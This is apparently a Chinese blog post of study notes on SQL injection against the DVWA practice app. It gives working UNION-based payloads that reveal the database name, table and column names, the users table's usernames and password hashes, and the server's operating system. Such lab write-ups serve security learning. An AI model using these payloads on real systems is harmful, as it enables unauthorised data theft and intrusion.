Web安全测试学习笔记 - SQL注入-2

亡梦爱人 提交于 2019-12-04 13:32:35

接上一篇SQL注入的学习笔记,上一篇我通过报错信息得知后台数据库是MySQL(这个信息非常重要~),然后通过SQL注入拿到了用户表的所有行,其实我们还可以通过MySQL的特性来拿更多的信息。

 

1. 获取当前数据库名称

输入:2' union select 1,database() '

输出:数据库名称为dvwa 

database()是Mysql自带函数,用来获取当前数据库名称。

 

2.获取当前数据库所有表名

输入:1' union select 1,table_name from information_schema.tables where table_schema='dvwa

输出:dvwa数据库中一共有两张表,分别是gestbook和users

information_schema是MySQL自带数据库,用来存储MySQL数据库元数据,通俗来说就是MySQL中的所有数据库名,每个数据库的表名,每个表的列名等等。

 

3. 获取用户表的所有字段名

输入:1' union select 1,column_name from information_schema.columns where table_schema='dvwa' and table_name='users

输出:users表中比较重要的列名:user,password

 

4. 获取用户表中的数据

输入:'UNION select user,password from users# (#为MySQL的注释符,相当于将后面的单引号注释掉了)

输出:拿到了所有用户名和加密过的密码

如果数据库的密码存储的是明文,Hmm......

同理,你还想要什么数据,都可以随便取用了,把整个数据库拖出来都可以!既然可以查询,那删除和修改也是可以有的!

如果是涉及到money的系统数据库被攻破,Hmm......Hmm......

 

 

5. 获取操作系统类型

输入:'UNION select 1,@@basedir#

输出:Windows操作系统

 

 

一点点感悟:

1. 数据库中的敏感信息一定要加密!

 

如需转载,请注明出处,这是对他人劳动成果的尊重~

 

易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!